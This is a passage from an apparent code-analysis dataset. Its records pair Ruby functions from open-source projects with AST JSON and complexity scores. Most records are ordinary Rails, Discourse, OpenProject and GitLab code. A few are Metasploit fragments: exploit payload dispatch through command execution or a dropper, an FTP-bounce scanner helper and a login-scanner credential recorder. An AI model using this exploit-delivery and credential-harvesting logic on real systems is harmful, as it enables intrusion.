payload\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_memory\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to the web service\"]}]}]}]},null]}]}","id":"c942c3f6-c4b9-4a94-88a3-8f5c892b4d9d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/portscan/ftpbounce.rb","start_line":40,"raw_source":"def rhost\n    datastore['BOUNCEHOST']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rhost\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BOUNCEHOST\"]}]}]}","id":"3c9828d3-753b-413c-9f9c-f9771c1b1fd2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/load_balancing/srv_resolver_spec.rb","start_line":54,"raw_source":"def dns_response_packet_from_fixture(fixture_name)\n    fixture         = File.read(Rails.root + \"spec/fixtures/dns/#{fixture_name}.json\")\n    encoded_payload = Gitlab::Json.parse(fixture)['payload']\n    payload         = Base64.decode64(encoded_payload)\n\n    Net::DNS::Packet.parse(payload)\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"dns_response_packet_from_fixture\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fixture_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fixture\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"spec/fixtures/dns/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fixture_name\"]}]},{\"type\":\"str\",\"children\":[\".json\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"fixture\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"payload\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"decode64\",{\"type\":\"lvar\",\"children\":[\"encoded_payload\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"Packet\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"0e610534-f90d-4c4e-83f6-8663bc49f020"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/accounts/captain/assistant_responses_controller.rb","start_line":76,"raw_source":"def permitted_params\n    params.permit(:id, :assistant_id, :page, :document_id, :account_id, :status, :search)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"assistant_id\"]},{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"sym\",\"children\":[\"document_id\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"search\"]}]}]}","id":"a03b2e7f-9616-4e33-8d67-a39fe0ec5d5c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_filter_chain.rb","start_line":94,"raw_source":"def register_offense(select_node, predicate_node)\n          replacement = REPLACEMENT_METHODS[predicate_node.method_name]\n          message = format(MSG, prefer: replacement,\n                                first_method: select_node.method_name,\n                                second_method: predicate_node.method_name)\n\n          offense_range = offense_range(select_node, predicate_node)\n\n          add_offense(offense_range, message: message) do |corrector|\n            corrector.remove(predicate_range(predicate_node))\n            corrector.replace(select_node.loc.selector, replacement)\n          end\n        end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"register_offense\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"select_node\"]},{\"type\":\"arg\",\"children\":[\"predicate_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPLACEMENT_METHODS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"predicate_node\"]},\"method_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefer\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select_node\"]},\"method_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"second_method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"predicate_node\"]},\"method_name\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offense_range\",{\"type\":\"send\",\"children\":[null,\"offense_range\",{\"type\":\"lvar\",\"children\":[\"select_node\"]},{\"type\":\"lvar\",\"children\":[\"predicate_node\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"offense_range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"predicate_range\",{\"type\":\"lvar\",\"children\":[\"predicate_node\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select_node\"]},\"loc\"]},\"selector\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]}]}]}]}]}","id":"fd3a2cf6-316e-4379-8b64-4055817732aa"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/evals/lib/prompts/prompt_evaluator.rb","start_line":49,"raw_source":"def symbolize_followups(args)\n    return nil if args[:followups].nil? && args[:followup].nil?\n    followups = args[:followups] || [args[:followup]]\n    followups.map do |followup|\n      followup = followup.dup.symbolize_keys!\n      message = followup[:message].dup.symbolize_keys!\n      message[:type] = message[:type].to_sym if message[:type]\n      followup[:message] = message\n      followup\n    end\n  end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"symbolize_followups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"followups\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"followup\"]}]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"followups\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"followups\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"followup\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"followups\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"followup\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"followup\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"followup\"]},\"dup\"]},\"symbolize_keys!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"followup\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},\"dup\"]},\"symbolize_keys!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"to_sym\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"followup\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"lvar\",\"children\":[\"followup\"]}]}]}]}]}","id":"2201db7a-f5b2-4f63-97a0-5084f34fa8bc"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/translation_helper_test.rb","start_line":375,"raw_source":"def test_translate_with_nil_default\n    translation = translate(:'translations.missing', default: nil)\n    assert_nil translation\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_translate_with_nil_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"translation\",{\"type\":\"send\",\"children\":[null,\"translate\",{\"type\":\"sym\",\"children\":[\"translations.missing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"lvar\",\"children\":[\"translation\"]}]}]}]}","id":"fc6a8870-ab42-4b4f-95c6-a8fc67431164"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/log_subscriber.rb","start_line":11,"raw_source":"def strict_loading_violation(event)\n      debug do\n        owner = event[:payload][:owner]\n        klass = event[:payload][:class]\n        name = event[:payload][:name]\n        message = +\"`#{owner}` is marked for strict_loading.\"\n        message << \" The #{klass ? \"#{klass} association\" : \"polymorphic association\"}\"\n        message << \" named `:#{name}` cannot be lazily loaded.\"\n\n        color(message, RED)\n      end\n    end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"strict_loading_violation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debug\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"owner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"owner\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"owner\"]}]},{\"type\":\"str\",\"children\":[\"` is marked for strict_loading.\"]}]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" The \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"str\",\"children\":[\" association\"]}]},{\"type\":\"str\",\"children\":[\"polymorphic association\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" named `:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"` cannot be lazily loaded.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"color\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"RED\"]}]}]}]}]}","id":"220c4841-d942-46d9-a978-8de705c9b373"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/logging/thread_pool_context_builder.rb","start_line":9,"raw_source":"def build!\n        thread_info = {}\n        Thread.list.each_with_index do |t, i|\n          thread_info[i] = {\n            info: t.inspect,\n            trace: t.backtrace.take(2)\n          }\n        end\n\n        {\n          connection_pool: ActiveRecord::Base.connection_pool.stat,\n          thread_info:\n        }\n      end","complexity_score":11.33,"ast_json":"{\"type\":\"def\",\"children\":[\"build!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"thread_info\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"list\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_info\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"inspect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"backtrace\"]},\"take\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_pool\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"stat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread_info\"]},{\"type\":\"lvar\",\"children\":[\"thread_info\"]}]}]}]}]}","id":"cb3578d2-8b6a-44f7-b53b-0270e13ddb57"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/work_package_board_seeder.rb","start_line":39,"raw_source":"def initialize(project, project_data)\n      super(project_data)\n      @project = project\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"project_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_data\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"2ded47bf-b589-48eb-a3db-f0f652098402"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/text_helper_test.rb","start_line":104,"raw_source":"def test_truncate_should_use_default_length_of_30\n    str = \"This is a string that will go longer then the default truncate length of 30\"\n    assert_equal str[0...27] + \"...\", truncate(str)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_truncate_should_use_default_length_of_30\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"str\",\"children\":[\"This is a string that will go longer then the default truncate length of 30\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[27]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"...\"]}]},{\"type\":\"send\",\"children\":[null,\"truncate\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]}]}","id":"8dadf956-4e8d-4b17-ac78-28874227e527"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/copy_step.rb","start_line":28,"raw_source":"def timestamp_columns?\n        @timestamp_columns ||=\n          @column_names&.include?(:created_at) || @column_names&.include?(:updated_at)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"timestamp_columns?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@timestamp_columns\"]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@column_names\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@column_names\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"updated_at\"]}]}]}]}]}","id":"da423032-1a74-4ccd-b93c-a9db7b9369e3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/documents/db/migrate/tables/document_journals.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration do |t|\n      t.bigint :project_id, null: false\n      t.bigint :category_id, null: false\n      t.string :title, limit: 60, default: nil, null: false\n      t.text :description\n    end\n  end","complexity_score":7.15,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[60]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]}]}]}","id":"efbe23bc-8a61-4930-8ad1-f14daf39f577"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":1751,"raw_source":"def test_ruby_multiline_with_punctuated_methods_is_continuation\n    assert_equal(<<HTML, render(<<HAML))\nbar, , true, bang\n<p>foo</p>\n<p>bar</p>\nHTML\n= [\"bar\",\n   \"  \".strip,\n   \"\".empty?,\n   \"bang\"].join(\", \")\n%p foo\n%p bar\nHAML\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ruby_multiline_with_punctuated_methods_is_continuation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bar, , true, bang\\n\"]},{\"type\":\"str\",\"children\":[\"<p>foo</p>\\n\"]},{\"type\":\"str\",\"children\":[\"<p>bar</p>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"= [\\\"bar\\\",\\n\"]},{\"type\":\"str\",\"children\":[\"   \\\"  \\\".strip,\\n\"]},{\"type\":\"str\",\"children\":[\"   \\\"\\\".empty?,\\n\"]},{\"type\":\"str\",\"children\":[\"   \\\"bang\\\"].join(\\\", \\\")\\n\"]},{\"type\":\"str\",\"children\":[\"%p foo\\n\"]},{\"type\":\"str\",\"children\":[\"%p bar\\n\"]}]}]}]}]}","id":"444e934f-5cdf-400c-891b-94ac2ab442c4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/cisco_firepower_login.rb","start_line":76,"raw_source":"def report_good_cred(ip, port, result)\n    service_data = {\n      address: ip,\n      port: port,\n      service_name: 'http',\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      module_fullname: self.fullname,\n      origin_type: :service,\n      private_data: result.credential.private,\n      private_type: :password,\n      username: result.credential.public,\n    }.merge(service_data)\n\n    login_data = {\n      core: create_credential(credential_data),\n      last_attempted_at: DateTime.now,\n      status: result.status,\n      proof: result.proof\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_good_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"arg\",\"children\":[\"port\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"private\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"public\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"proof\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"cd070084-24e7-4c1f-85af-313fa30ab928"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/cached_counting.rb","start_line":85,"raw_source":"def self.flush\n    if @thread && @thread.alive?\n      @flush = true\n      @thread.wakeup\n      sleep 0.001 while @flush\n    else\n      flush_in_memory\n      flush_to_db\n    end\n  end","complexity_score":10.78,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"flush\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@thread\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@thread\"]},\"alive?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@flush\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@thread\"]},\"wakeup\"]},{\"type\":\"while\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flush\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.001]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flush_in_memory\"]},{\"type\":\"send\",\"children\":[null,\"flush_to_db\"]}]}]}]}","id